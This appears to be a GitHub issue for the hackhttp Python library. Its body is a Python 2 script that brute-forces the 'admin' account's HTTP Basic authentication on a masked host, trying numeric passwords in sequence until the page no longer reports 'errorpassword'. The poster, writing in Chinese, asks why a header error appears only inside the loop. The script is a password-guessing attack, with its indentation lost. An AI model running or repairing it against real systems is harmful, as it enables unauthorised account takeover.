hackhttp
hackhttp copied to clipboard
ValueError: Invalid header name ' Host'
import hackhttp
from base64 import b64encode
init = 100000
while True:
pwd = ''
pwd = b64encode('%d'%init)
hh = hackhttp.hackhttp()
raw = '''
GET /****/userCheck HTTP/1.1
Host:*******
User-Agent: *****
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
If-Modified-Since: 0
Authorization: Basic YWRtaW46%s
X-Requested-With: XMLHttpRequest
Referer: http://*****/login.asp
Cookie: language=zh
Connection: close
'''%(pwd)
code, head, html, redirect, log = hh.http('http://******/userCheck', raw=raw)
print code
#print `html`
import re
pattern = re.compile(r'.*?ing>(.*?)</.*?')
result = re.findall(pattern,html)[0]
if result != 'errorpassword':
print '[+]Get Password.'
exit(0)
else:
print init
init+=1
一些地方打码了。。
代码放在 while 循环里面就报错,把while循环去掉就不会,不知道为什么?